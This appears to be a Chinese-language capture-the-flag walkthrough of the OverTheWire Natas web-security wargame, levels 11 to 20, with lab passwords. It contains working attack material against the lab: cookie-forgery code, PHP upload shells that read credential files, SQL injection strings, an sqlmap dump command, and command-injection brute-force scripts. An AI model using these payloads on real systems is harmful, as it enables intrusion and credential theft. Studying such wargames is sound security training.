接上一篇Natas通關指南(1-10) 繼續闖關
OverTheWire 是一個 wargame 網站。其中 Natas 是一個適合學習Web安全基礎的遊戲,在Natas 中,我們需要通過找到網站的漏洞獲得通往下一關的密碼。每一關都有一個網站,類似 http://natasX.natas.labs.overthewire.org,其中X是每一關的編號。每一關都要輸入用戶名(例如,level0的用戶名是natas0)及其密碼才能訪問。所有密碼存儲在 /etc/natas_webpass/中。例如natas1的密碼存儲在文件 /etc/natas_webpass/natas1中,只能由natas0和natas1讀取。
網站:
http://overthewire.org/wargames/natas/
Tips:所用工具:Chrome瀏覽器;Curl;BurpSuite;SQLMap
Level 11-12
Username: natas11
Password: natas11
URL: http://natas11.natas.labs.overthewire.org
首先使用我們之前得到的密碼: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登錄natas11,得到一句提示:
- Cookies are protected with XOR encryption
還有一個可以設置背景顏色的輸入框,輸入16進制的色值,即可設置網頁背景顏色,同樣可以通過點擊 Viewsourcecode查看源碼。關鍵代碼如下:
- $defaultdata = array(
- "showpassword"
- =>
- "no"
- ,
- "bgcolor"
- =>
- "#ffffff"
- );
- function
- xor_encrypt($in) {
- $key =
- '
' - ;
- $text = $in;
- $outText =
- ''
- ;
- // Iterate through each character
- for
- ($i=
- 0
- ;$i
- $outText .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return
- $outText;
- }
- function
- loadData($def) {
- global
- $_COOKIE;
- $mydata = $def;
- if
- (array_key_exists(
- "data"
- , $_COOKIE)) {
- $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE[
- "data"
- ])),
- true
- );
- if
- (is_array($tempdata) && array_key_exists(
- "showpassword"
- , $tempdata) && array_key_exists(
- "bgcolor"
- , $tempdata)) {
- if
- (preg_match(
- '/^#(?:[a-f\d]{6})$/i'
- , $tempdata[
- 'bgcolor'
- ])) {
- $mydata[
- 'showpassword'
- ] = $tempdata[
- 'showpassword'
- ];
- $mydata[
- 'bgcolor'
- ] = $tempdata[
- 'bgcolor'
- ];
- }
- }
- }
- return
- $mydata;
- }
- function
- saveData($d) {
- setcookie(
- "data"
- , base64_encode(xor_encrypt(json_encode($d))));
- }
- $data = loadData($defaultdata);
- if
- (array_key_exists(
- "bgcolor"
- ,$_REQUEST)) {
- if
- (preg_match(
- '/^#(?:[a-f\d]{6})$/i'
- , $_REQUEST[
- 'bgcolor'
- ])) {
- $data[
- 'bgcolor'
- ] = $_REQUEST[
- 'bgcolor'
- ];
- }
- }
- saveData($data);
- ?>
- natas11
- "content"
- >
- "background: =$data['bgcolor']?>;"
- >
- Cookies
- are
- protected
- with
- XOR encryption
- if
- ($data[
- "showpassword"
- ] ==
- "yes"
- ) {
- print
- "The password for natas12 is
"- ;
- }
- ?>
從代碼可以看出,通過一些列的編碼,包括 base64加密, php異或運算。把用戶輸入的數據編碼進 cookie裡面。通過瀏覽器可以查看到data這個值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword這個參數決定了我們是否能看到下一關密碼。代碼中有個 censored的 key,這個是 php用來做異或運算加密用到的 key,我們需要先算出這 key值,然後用這個值作為 key進行運算和一些列編碼,計算出新的 cookie傳入,即可得到下一關的密碼。
key值計算:
- $orig_cookie = base64_decode(
- 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'
- );
- function
- xor_encrypt($in) {
- $text = $in;
- $key = json_encode(array(
- "showpassword"
- =>
- "no"
- ,
- "bgcolor"
- =>
- "#ffffff"
- ));
- $out =
- ''
- ;
- for
- ($i=
- 0
- ;$i
- $out .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return
- $out;
- }
- echo xor_encrypt($orig_cookie);
- ?>
得到的結果是 qw8J
計算新的Cookie:
- $defaultdata = array(
- "showpassword"
- =>
- "yes"
- ,
- "bgcolor"
- =>
- "#ffffff"
- );
- function
- xor_encrypt($in) {
- $key =
- 'qw8J'
- ;
- $text = $in;
- $out =
- ''
- ;
- // Iterate through each character
- for
- ($i=
- 0
- ;$i
- $out .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return
- $out;
- }
- function
- loadData($def) {
- $mydata = $def;
- $tempdata = json_decode(xor_encrypt(base64_decode($data)),
- true
- );
- return
- $mydata;
- }
- echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
- ?>
結果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,傳入新的Cookie:
- curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie
- "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
- HTTP/
- 1.1
- 200
- OK
- Date
- :
- Mon
- ,
- 27
- Aug
- 2018
- 13
- :
- 40
- :
- 47
- GMT
- Server
- :
- Apache
- /
- 2.4
- .
- 10
- (
- Debian
- )
- Set
- -
- Cookie
- : data=
- ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
- ......
- Cookies
- are
- protected
- with
- XOR encryption
- The
- password
- for
- natas12
- is
- EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
- ......
得到密碼。
Level 12-13
Username: natas12
URL: http://natas12.natas.labs.overthewire.org
登錄natas12,可以看到是一個上傳文件功能:
- Choose a JPEG to upload (max 1KB):
提示可以上傳圖片,最大不超過1kB,點擊 Viewsourcecode查看源碼,關鍵代碼如下:
- function
- genRandomString() {
- $length =
- 10
- ;
- $characters =
- "0123456789abcdefghijklmnopqrstuvwxyz"
- ;
- $string =
- ""
- ;
- for
- ($p =
- 0
- ; $p < $length; $p++) {
- $string .= $characters[mt_rand(
- 0
- , strlen($characters)-
- 1
- )];
- }
- return
- $string;
- }
- function
- makeRandomPath($dir, $ext) {
- do
- {
- $path = $dir.
- "/"
- .genRandomString().
- "."
- .$ext;
- }
- while
- (file_exists($path));
- return
- $path;
- }
- function
- makeRandomPathFromFilename($dir, $fn) {
- $ext = pathinfo($fn, PATHINFO_EXTENSION);
- return
- makeRandomPath($dir, $ext);
- }
- if
- (array_key_exists(
- "filename"
- , $_POST)) {
- $target_path = makeRandomPathFromFilename(
- "upload"
- , $_POST[
- "filename"
- ]);
- if
- (filesize($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ]) >
- 1000
- ) {
- echo
- "File is too big"
- ;
- }
- else
- {
- if
- (move_uploaded_file($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ], $target_path)) {
- echo
- "The file has been uploaded"
- ;
- }
- else
- {
- echo
- "There was an error uploading the file, please try again!"
- ;
- }
- }
- }
- else
- {
- ?>
通過閱讀代碼,可以發現除了限制文件大小和文件擴展名做了前端限制之外,並沒有檢測文件類型。而且還會返回上傳後的路徑,那我們直接上傳一個 php文件去讀取 natas13的密碼即可。你可以通過 BurpSuite之類的工具修改上傳的 filename後綴即可。
- ///getpass.php
- $getpass = file_get_contents(
- '/etc/natas_webpass/natas13'
- );
- echo $getpass;
- ?>
得到密碼: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13-14
Username: natas13
URL: http://natas13.natas.labs.overthewire.org
頁面和前一關一樣,不過查看源代碼發現這一次限制了文件類型,通過 php的函數 exif_imagetype() 來驗證文件類型,通過查看php的文檔,這個函數通過檢查文件的簽名(第一個字節),從而檢測文件類型。關鍵代碼如下:
- }
- else
- if
- (! exif_imagetype($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ])) {
- echo
- "File is not an image"
- ;
- }
- else
- {
- if
- (move_uploaded_file($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ], $target_path)) {
- echo
- "The file has been uploaded"
- ;
- }
- else
- {
- echo
- "There was an error uploading the file, please try again!"
- ;
- }
- }
- }
- else
- {
那我們只需在上傳的 php文件中加入任意圖片格式文件頭標識即可,比如 GIF98a
- GIF89a
- $getpass = file_get_contents(
- '/etc/natas_webpass/natas14'
- );
- echo $getpass;
- ?>
上傳後訪問返回的路徑,得到密碼: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14-15
Username: natas14
URL: http://natas14.natas.labs.overthewire.org
訪問後,是一個登錄頁面,需要輸入 username和 password,查看代碼,關鍵代碼:
- if
- (array_key_exists(
- "username"
- , $_REQUEST)) {
- $link = mysql_connect(
- 'localhost'
- ,
- 'natas14'
- ,
- '
' - );
- mysql_select_db(
- 'natas14'
- , $link);
- $query =
- "SELECT * from users where username=""
- .$_REQUEST[
- "username"
- ].
- "" and password=""
- .$_REQUEST[
- "password"
- ].
- """
- ;
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- echo
- "Executing query: $query
" - ;
- }
- if
- (mysql_num_rows(mysql_query($query, $link)) >
- 0
- ) {
- echo
- "Successful login! The password for natas15 is
" - ;
- }
- else
- {
- echo
- "Access denied!
" - ;
- }
- mysql_close($link);
- }
- else
- {
- ?>
很明顯的 SQL注入漏洞,沒有任何過濾,直接試試萬能密碼: " OR 1=1 #
注入成功,得到密碼: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 15-16
Username: natas15
URL: http://natas15.natas.labs.overthewire.org
頁面需要輸入一個 username,可以點擊 Checkexistence查詢用戶是否存在,關鍵代碼如下:
- natas15
-
- id
- =
- "content"
- >
- /*
- CREATE TABLE `users` (
- `username` varchar(64) DEFAULT NULL,
- `password` varchar(64) DEFAULT NULL
- );
- */
- if
- (array_key_exists(
- "username"
- , $_REQUEST)) {
- $link = mysql_connect(
- 'localhost'
- ,
- 'natas15'
- ,
- '
' - );
- mysql_select_db(
- 'natas15'
- , $link);
- $query =
- "SELECT * from users where username=""
- .$_REQUEST[
- "username"
- ].
- """
- ;
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- echo
- "Executing query: $query
"- ;
- }
- $res = mysql_query($query, $link);
- if
- ($res) {
- if
- (mysql_num_rows($res) >
- 0
- ) {
- echo
- "This user exists.
"- ;
- }
- else
- {
- echo
- "This user doesn't exist.
"- ;
- }
- }
- else
- {
- echo
- "Error in query.
"- ;
- }
- mysql_close($link);
- }
- else
- {
- ?>
這一關,頁面不會返回SQL結果。但可以通過錯誤提示判斷查詢的結果,所以可以使用SQL盲注,可以使用 LIKE表達式用通配符按個判斷。這裡我們直接用 sqlmap好了。
- sqlmap -u http:
- //natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
或者寫python腳本獲取密碼,得到密碼 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Level 16-17
Username: natas16
URL: http://natas16.natas.labs.overthewire.org
這一關和第9關,第10關很像,不過過濾了更多的字符
頁面提示 Forsecurity reasons,we now filter even more on certain characters,頁面功能是 Findwords containing:,需要輸入一些內容,然後搜索,然後會輸出一些內容。關鍵代碼如下:
- $key =
- ""
- ;
- if
- (array_key_exists(
- "needle"
- , $_REQUEST)) {
- $key = $_REQUEST[
- "needle"
- ];
- }
- if
- ($key !=
- ""
- ) {
- if
- (preg_match(
- '/[;|&`\'"]/'
- ,$key)) {
- "Input contains an illegal character!"
- ;
- }
- else
- {
- passthru(
- "grep -i "$key" dictionary.txt"
- );
- }
- }
- ?>
雖然過濾了很多字符,但是沒有過濾 $和 ()。我們知道PHP裡的 $()即使在引號內也可以使用,所以我們可以構造注入語言 $(grep a/etc/natas_webpass/natas17),執行的語句是這樣的: passthru("grep -i "$(grep a /etc/natas_webpass/natas17)" dictionary.txt");所有的單詞都被返回了。 我們知道 dictionary.txt中存在字符串,比如說 A,用它與 $(grep)的返回值相加,如果內層返回了結果將檢索出空值,如果返回空值則外層的 grep會返回結果 。
比如說:如 password中首字母為 a,構成
grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由於內部的 $()命令返回了 a,則使外層命令變為
grep-I"aA"dictionary.txt由於 dictionary中沒有 aA,從而返回空值
而如果內層 $()命令返回空值,外層則能正確檢索到 A,於是返回值,證明首字母不是 a
按照這個原理可以構造出爆破腳本
- import
- requests
- chars =
- '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
- exist =
- ''
- password =
- ''
- target =
- 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
- trueStr =
- 'Output:\n
\n
' - for
- x
- in
- chars:
- r = requests.get(target+
- '?needle=$(grep '
- +x+
- ' /etc/natas_webpass/natas17)Getpass'
- )
- if
- r.content.find(trueStr) != -
- 1
- :
- exist += x
- 'Using: '
- + exist
- for
- i
- in
- range(
- 32
- ):
- for
- c
- in
- exist:
- r = requests.get(target+
- '?needle=$(grep ^'
- +password+c+
- ' /etc/natas_webpass/natas17)Getpass'
- )
- if
- r.content.find(trueStr) != -
- 1
- :
- password += c
- 'Password: '
- + password +
- '*'
- * int(
- 32
- - len(password))
- break
得到密碼是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 17-18
Username: natas17
URL: http://natas17.natas.labs.overthewire.org
同 natas15,不過沒有錯誤提示,所以可以用基於時間的盲注。
得出的密碼是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18-19
Username: natas18
URL: http://natas18.natas.labs.overthewire.org
提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.
同樣有一個登錄框,可以輸入 username和 password。關鍵代碼如下:
- $maxid =
- 640
- ;
- // 640 should be enough for everyone
- function
- isValidAdminLogin() {
- /* {{{ */
- if
- ($_REQUEST[
- "username"
- ] ==
- "admin"
- ) {
- /* This method of authentication appears to be unsafe and has been disabled for now. */
- //return 1;
- }
- return
- 0
- ;
- }
- /* }}} */
- function
- isValidID($id) {
- /* {{{ */
- return
- is_numeric($id);
- }
- /* }}} */
- function
- createID($user) {
- /* {{{ */
- global
- $maxid;
- return
- rand(
- 1
- , $maxid);
- }
- /* }}} */
- function
- debug($msg) {
- /* {{{ */
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- "DEBUG: $msg
" - ;
- }
- }
- /* }}} */
- function
- my_session_start() {
- /* {{{ */
- if
- (array_key_exists(
- "PHPSESSID"
- , $_COOKIE)
- and
- isValidID($_COOKIE[
- "PHPSESSID"
- ])) {
- if
- (!session_start()) {
- debug(
- "Session start failed"
- );
- return
- false
- ;
- }
- else
- {
- debug(
- "Session start ok"
- );
- if
- (!array_key_exists(
- "admin"
- , $_SESSION)) {
- debug(
- "Session was old: admin flag set"
- );
- $_SESSION[
- "admin"
- ] =
- 0
- ;
- // backwards compatible, secure
- }
- return
- true
- ;
- }
- }
- return
- false
- ;
- }
- /* }}} */
- function
- print_credentials() {
- /* {{{ */
- if
- ($_SESSION
- and
- array_key_exists(
- "admin"
- , $_SESSION)
- and
- $_SESSION[
- "admin"
- ] ==
- 1
- ) {
- "You are an admin. The credentials for the next level are:
" - ;
- "
Username: natas19\n"
- ;
- "Password:
" - ;
- }
- else
- {
- "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."
- ;
- }
- }
- /* }}} */
- $showform =
- true
- ;
- if
- (my_session_start()) {
- print_credentials();
- $showform =
- false
- ;
- }
- else
- {
- if
- (array_key_exists(
- "username"
- , $_REQUEST) && array_key_exists(
- "password"
- , $_REQUEST)) {
- session_id(createID($_REQUEST[
- "username"
- ]));
- session_start();
- $_SESSION[
- "admin"
- ] = isValidAdminLogin();
- debug(
- "New session started"
- );
- $showform =
- false
- ;
- print_credentials();
- }
- }
- if
- ($showform) {
- ?>
從代碼上來看,沒有連接數據庫,說明不是 sql注入,但是我們注意到有一個變量 maxid,在 createID函數中,接收用戶名請求,並將其分配給 1到 640($maxid)之間的隨機整數。然後它將其初始化為 session_id。假設 PHPSESSID是來自 session_id的賦值,意味有1個會話ID分配會分配給“admin”。通過瀏覽器請求,我們發現 PHPSESSID的值確實是來自變量 maxid產生的 session_id值。
所以我們只要窮舉 maxid的值就好了。可以用 Burpsuite爆破這個值,然後把它作為 PHPSESSID發送請求,即可得到密碼。密碼為 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
如果嫌 Burpsuite太麻煩,用 shell腳本也可輕鬆搞定
- for
- i
- in
- `seq 640`
- do
- echo $i
- curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http:
- //natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19
- done
Level 19-20
Username: natas19
URL: http://natas19.natas.labs.overthewire.org
提示是這樣的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一關一樣,只不過 PHPSESSID不再那麼簡單容易猜到而已。
通過觀察,發現其 PHPSESSID,雖然一長串字符串,如 3237362d61646d696e,通過16進制解碼發現,都是由 3位數字-admin組成的,也就是說後面的 2d61646d696e是不變的。所以我們只需要窮舉 1-640之間的數字然後拼接 -admin做16進制轉換,再帶入 PHPSESSID中進行提交,就能找到那個屬於 admin的 PHPSESSID。最後得到的密碼是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 20-21
Username: natas20
URL: http://natas20.natas.labs.overthewire.org
登錄後,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以輸入 Yourname,然後點 Changename,不過無論你輸入什麼頁面都沒有任何信息反饋給你。查看源碼,關鍵代碼如下:
- function
- debug($msg) {
- /* {{{ */
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- "DEBUG: $msg
" - ;
- }
- }
- /* }}} */
- function
- print_credentials() {
- /* {{{ */
- if
- ($_SESSION
- and
- array_key_exists(
- "admin"
- , $_SESSION)
- and
- $_SESSION[
- "admin"
- ] ==
- 1
- ) {
- "You are an admin. The credentials for the next level are:
" - ;
- "
Username: natas21\n"
- ;
- "Password:
" - ;
- }
- else
- {
- "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."
- ;
- }
- }
- /* }}} */
- /* we don't need this */
- function
- myopen($path, $name) {
- //debug("MYOPEN $path $name");
- return
- true
- ;
- }
- /* we don't need this */
- function
- myclose() {
- //debug("MYCLOSE");
- return
- true
- ;
- }
- function
- myread($sid) {
- debug(
- "MYREAD $sid"
- );
- if
- (strspn($sid,
- "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
- ) != strlen($sid)) {
- debug(
- "Invalid SID"
- );
- return
- ""
- ;
- }
- $filename = session_save_path() .
- "/"
- .
- "mysess_"
- . $sid;
- if
- (!file_exists($filename)) {
- debug(
- "Session file doesn't exist"
- );
- return
- ""
- ;
- }
- debug(
- "Reading from "
- . $filename);
- $data = file_get_contents($filename);
- $_SESSION = array();
- foreach
- (explode(
- "\n"
- , $data)
- as
- $line) {
- debug(
- "Read [$line]"
- );
- $parts = explode(
- " "
- , $line,
- 2
- );
- if
- ($parts[
- 0
- ] !=
- ""
- ) $_SESSION[$parts[
- 0
- ]] = $parts[
- 1
- ];
- }
- return
- session_encode();
- }
- function
- mywrite($sid, $data) {
- // $data contains the serialized version of $_SESSION
- // but our encoding is better
- debug(
- "MYWRITE $sid $data"
- );
- // make sure the sid is alnum only!!
- if
- (strspn($sid,
- "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
- ) != strlen($sid)) {
- debug(
- "Invalid SID"
- );
- return
- ;
- }
- $filename = session_save_path() .
- "/"
- .
- "mysess_"
- . $sid;
- $data =
- ""
- ;
- debug(
- "Saving in "
- . $filename);
- ksort($_SESSION);
- foreach
- ($_SESSION
- as
- $key => $value) {
- debug(
- "$key => $value"
- );
- $data .=
- "$key $value\n"
- ;
- }
- file_put_contents($filename, $data);
- chmod($filename,
- 0600
- );
- }
- /* we don't need this */
- function
- mydestroy($sid) {
- //debug("MYDESTROY $sid");
- return
- true
- ;
- }
- /* we don't need this */
- function
- mygarbage($t) {
- //debug("MYGARBAGE $t");
- return
- true
- ;
- }
- session_set_save_handler(
- "myopen"
- ,
- "myclose"
- ,
- "myread"
- ,
- "mywrite"
- ,
- "mydestroy"
- ,
- "mygarbage"
- );
- session_start();
- if
- (array_key_exists(
- "name"
- , $_REQUEST)) {
- $_SESSION[
- "name"
- ] = $_REQUEST[
- "name"
- ];
- debug(
- "Name set to "
- . $_REQUEST[
- "name"
- ]);
- }
- print_credentials();
- $name =
- ""
- ;
- if
- (array_key_exists(
- "name"
- , $_SESSION)) {
- $name = $_SESSION[
- "name"
- ];
- }
- ?>
我們來看看每個函數的作用:
debug($msg)表示打開了調試信息,可以通過在URL的末尾添加 /index.php?debug來查看調試消息 $msg。
訪問之後將看到一些提示,類似這樣的:
- DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
- DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1
- DEBUG: name => admin
可以看出,登錄之後, $ _SESSION的值被存儲在一個文件中。
重點在 mywrite和 myread這兩個關鍵函數,它們的作用是管理會話狀態。
默認情況下, $ _SESSION中唯一的 key是 name,其值通過 /index.php中的表單提交進行設置。我們可以通過對 name鍵值對進行注入:將 data裡面的值變為: name xxxx \n admin1\n。
對換行符編碼然後提交:
- http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1
再次訪問 http://natas20.natas.labs.overthewire.org即可得到密碼
- You are an admin. The credentials for the next level are:
- Username: natas21
- Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
未完待續......
閱讀更多 合天網安實驗室 的文章